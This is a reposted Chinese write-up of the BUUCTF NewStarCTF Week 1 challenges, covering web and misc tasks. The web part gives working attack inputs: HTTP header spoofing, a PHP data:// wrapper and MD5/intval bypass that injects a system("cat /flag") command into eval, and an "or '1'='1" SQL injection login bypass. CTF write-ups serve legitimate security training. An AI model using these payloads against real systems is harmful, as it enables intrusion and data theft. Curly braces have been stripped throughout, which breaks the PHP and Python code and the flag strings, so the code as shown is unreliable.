BUUCTF NewStarCTF 公开赛赛道Week1 Writeup

Posted 末初mochu7

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF NewStarCTF 公开赛赛道Week1 Writeup相关的知识,希望对你有一定的参考价值。

文章目录


WEEK1

WEB

HTTP

第一关

Please `GET` me your `name`,I will tell you more things.

传个GET参数即可:?name=mochu7

第二关

Hello,mochu7. Please `POST` me the `key` Again.But Where is the key?

源码中有注释:<!--Key: ctfisgood-->

传个POST参数:key=ctfisgood

第三关

You are smart but you are not `admin`.

源码注释:<!--Check something-->

修改一下Cookie

Head?Header!

第一关

Must Use `CTF` Brower!

User-Agent: CTF

第二关

Must From `ctf.com`

Referer: ctf.com

第三关

Only Local User Can Get Flag

X-Forwarded-For: 127.0.0.1

我真的会谢


第一部分:robots.txt


第二部分:index.php.swp


第三部分:www.zip

NotPHP

 <?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF")
    if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2'])
        if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077)
            echo "Hack Me";
            eval("#".$_GET['cmd']);
        else
            die("Number error!");
        
    else
        die("Wrong Key!");
    
else
    die("Pass it!");
 

file_get_contents($_GET['data']) == "Welcome to CTF"可使用的伪协议有

php://inputdata://text/plain;base64,xxx

这里为了后面的绕过只能选择data://伪协议

md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']的绕过参考:https://mochu.blog.csdn.net/article/details/114494427

!is_numeric($_POST['num']) && intval($_POST['num']) == 2077的绕过可以使用2077x或者2077%00

/?data=data://text/plain;base64,V2VsY29tZSB0byBDVEY=&key1[]=1&key2[]=2&cmd=%0asystem("cat /flag");

num=2077a

Word-For-You

描述

赛博顶针先生悄悄把flag告诉了Mr.H,Mr.H为了确保安全把flag放到了数据库中,你能找到吗?

万能密码
payload: NewCTFer'or '1'='1

MISC

Yesec no drumsticks 1

无密码LSBstegsolve一把梭

qsdz’s girlfriend 1

描述:我失忆了,这是我在我桌面上发现的压缩包,可是我忘记了压缩包密码了...请问你能帮助我找到我女朋友的名字吗?flag格式为:flag女朋友名字_女朋友生日

生日一般都是八位纯数字


图片末尾有一段hint的base64

My girlfriend's name has six letters and the first letter is capitalized

Google识图

Look my eyes

根据题目名称使用SilentEye,默认密码

PS C:\\Users\\Administrator> php -r "var_dump(base64_decode('ZmxhZ3tMMG9rX20zXzFuX215X2V5M3N9'));"
Command line code:1:
string(24) "flagL0ok_m3_1n_my_ey3s"

EzSnake

达到114分即可获得一个一个一个一个flag

EzSnake.jar使用jd-gui打开,寻找关键字114



发现这里对/statics/1919810/114514文件有异或操作,将.jar文件修改后缀为.zip然后解压,得到114514

with open('114514', 'rb') as f1:
	with open('flag', 'wb') as f2:
		for d in f1.read():
			d = ':02x'.format(d^0x58)
			f2.write(bytes.fromhex(d))

异或处理后得到flag文件为png文件


补二维码定位符即可正常扫描

>>> from base64 import *
>>> b64decode('ZmxhZ3tZMHVfNHJlXzBuZV9vTmVfMG5FX3N0NFJ9=')
b'flagY0u_4re_0ne_oNe_0nE_st4R'

奇怪的音频

以上是关于BUUCTF NewStarCTF 公开赛赛道Week1 Writeup的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF NewStarCTF 公开赛赛道Week5 Writeup

BUUCTF NewStarCTF 公开赛赛道Week3 Writeup

BUUCTF NewStarCTF 公开赛赛道Week3 Writeup

BUUCTF NewStarCTF 公开赛赛道Week3 Writeup

BUUCTF NewStarCTF 公开赛赛道Week3 Writeup

BUUCTF NewStarCTF 公开赛赛道Week4 Writeup